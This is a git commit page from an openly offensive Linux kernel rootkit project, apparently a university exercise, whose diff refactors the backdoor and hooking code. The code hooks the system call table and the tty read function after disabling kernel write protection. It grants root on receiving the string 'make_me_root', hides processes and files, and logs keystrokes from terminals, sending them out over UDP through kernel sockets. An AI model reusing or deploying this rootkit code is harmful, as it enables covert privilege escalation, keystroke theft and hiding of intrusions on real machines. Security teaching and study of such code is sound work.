linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit e3a5dafa61a7e78ef8a7a38b6e55cb6fb24c6c89
parent e78f5632177aee4e78aac55cb8a9c09cbd8ce610
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 12 Dec 2020 20:59:00 +0100

refactors code

Diffstat:
Msrc/backdoor.c | 25+++++--------------------
Msrc/backdoor.h | 5-----
Msrc/hook.c | 31+++++++++++++++++++++++++++++--
Msrc/hook.h | 4++++
Msrc/inputlog.c | 5+----
5 files changed, 39 insertions(+), 31 deletions(-)

diff --git a/src/backdoor.c b/src/backdoor.c @@ -8,10 +8,6 @@ #include "hook.h" #include "inputlog.h" -atomic_t tty_read_count; - -ssize_t (*current_tty_read)(struct file *, char *, size_t, loff_t *); - void backdoor_read(void) { @@ -23,8 +19,8 @@ backdoor_read(void) void backdoor_tty(void) { - if (!current_tty_read) { - current_tty_read + if (!sys_tty_read) { + sys_tty_read = ((struct file_operations *)kallsyms_lookup_name("tty_fops"))->read; disable_protection(); @@ -34,32 +30,21 @@ backdoor_tty(void) } } -ssize_t -g7_tty_read(struct file *file, char *buf, size_t count, loff_t *off) -{ - atomic_inc(&tty_read_count); - ssize_t ret = current_tty_read(file, buf, count, off); - handle_pid(current->pid, buf, count); - send_udp(buf, count); - atomic_dec(&tty_read_count); - return ret; -} - void unbackdoor(void) { int cur; - if (current_tty_read) { + if (sys_tty_read) { disable_protection(); ((struct file_operations *)kallsyms_lookup_name("tty_fops"))->read - = (void *)current_tty_read; + = (void *)sys_tty_read; enable_protection(); while ((cur = atomic_read(&tty_read_count)) > 0) msleep(250); - current_tty_read = NULL; + sys_tty_read = NULL; } else if (sys_read) { disable_protection(); sys_calls[__NR_read] = (void *)sys_read; diff --git a/src/backdoor.h b/src/backdoor.h @@ -3,13 +3,8 @@ #define G7_BACKDOOR_MSG "make_me_root" -extern atomic_t tty_read_count; - void backdoor_read(void); void backdoor_tty(void); void unbackdoor(void); -// hooks -ssize_t g7_tty_read(struct file *, char *, size_t, loff_t *); - #endif//_GROUP7_BACKDOOR_H diff --git a/src/hook.c b/src/hook.c @@ -20,6 +20,7 @@ #include "pidhide.h" #include "openhide.h" #include "read.h" +#include "inputlog.h" extern rootkit_t rootkit; @@ -27,14 +28,17 @@ void **sys_calls; atomic_t read_install_count; atomic_t getdents_install_count; +atomic_t tty_read_install_count; atomic_t read_count; atomic_t getdents_count; atomic_t getdents64_count; +atomic_t tty_read_count; asmlinkage ssize_t (*sys_read)(const struct pt_regs *); asmlinkage long (*sys_getdents)(const struct pt_regs *); asmlinkage long (*sys_getdents64)(const struct pt_regs *); +ssize_t (*sys_tty_read)(struct file *, char *, size_t, loff_t *); struct linux_dirent { unsigned long d_ino; @@ -79,6 +83,9 @@ init_hooks(void) backdoor_read(); else if (rootkit.backdoor == BD_TTY) backdoor_tty(); + + if (rootkit.logging_input) + log_input("127.0.0.1", "5000"); } void @@ -100,6 +107,9 @@ remove_hooks(void) if (rootkit.backdoor != BD_OFF) unbackdoor(); + + if (rootkit.logging_input) + unlog_input(); } void @@ -121,16 +131,33 @@ g7_read(const struct pt_regs *pt_regs) atomic_inc(&read_count); long ret = sys_read(pt_regs); - //Just like the SystemV-CC (ignoring fd) + // Just like the SystemV-CC (ignoring fd) char *buf = (char *)pt_regs->si; size_t count = pt_regs->dx; - handle_pid(current->pid, buf, count); + if (rootkit.backdoor == BD_READ) + handle_pid(current->pid, buf, count); atomic_dec(&read_count); return ret; } +ssize_t +g7_tty_read(struct file *file, char *buf, size_t count, loff_t *off) +{ + atomic_inc(&tty_read_count); + ssize_t ret = sys_tty_read(file, buf, count, off); + + if (rootkit.backdoor == BD_TTY) + handle_pid(current->pid, buf, count); + + if (rootkit.logging_input) + send_udp(buf, count); + + atomic_dec(&tty_read_count); + return ret; +} + // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12 asmlinkage long diff --git a/src/hook.h b/src/hook.h @@ -17,12 +17,14 @@ extern atomic_t read_install_count; extern atomic_t getdents_install_count; extern atomic_t read_count; +extern atomic_t tty_read_count; extern atomic_t getdents_count; extern atomic_t getdents64_count; extern asmlinkage ssize_t (*sys_read)(const struct pt_regs *); extern asmlinkage long (*sys_getdents)(const struct pt_regs *); extern asmlinkage long (*sys_getdents64)(const struct pt_regs *); +extern ssize_t (*sys_tty_read)(struct file *, char *, size_t, loff_t *); int retrieve_sys_call_table(void); void init_hooks(void); @@ -35,5 +37,7 @@ void enable_protection(void); asmlinkage ssize_t g7_read(const struct pt_regs *); asmlinkage long g7_getdents(const struct pt_regs *); asmlinkage long g7_getdents64(const struct pt_regs *); +ssize_t g7_tty_read(struct file *, char *, size_t, loff_t *); + #endif//_GROUP7_HOOK_H diff --git a/src/inputlog.c b/src/inputlog.c @@ -29,7 +29,7 @@ send_udp(char *buf, int buflen) msg.msg_controllen = 0; msg.msg_flags = 0; msg.msg_name = &addr; - msg.msg_namelen = sizeof(struct sockaddr_in); + msg.msg_namelen = sizeof(addr); while (buflen > 0) { packlen = (buflen < UDP_MAX_DATA_LEN) @@ -45,9 +45,6 @@ send_udp(char *buf, int buflen) set_fs(KERNEL_DS); sent = kernel_sendmsg(sock, &msg, &iov, 1, packlen); set_fs(fs); - - if (sent > 0) - DEBUG_INFO("[g7] sent %d bytes\n", sent); } }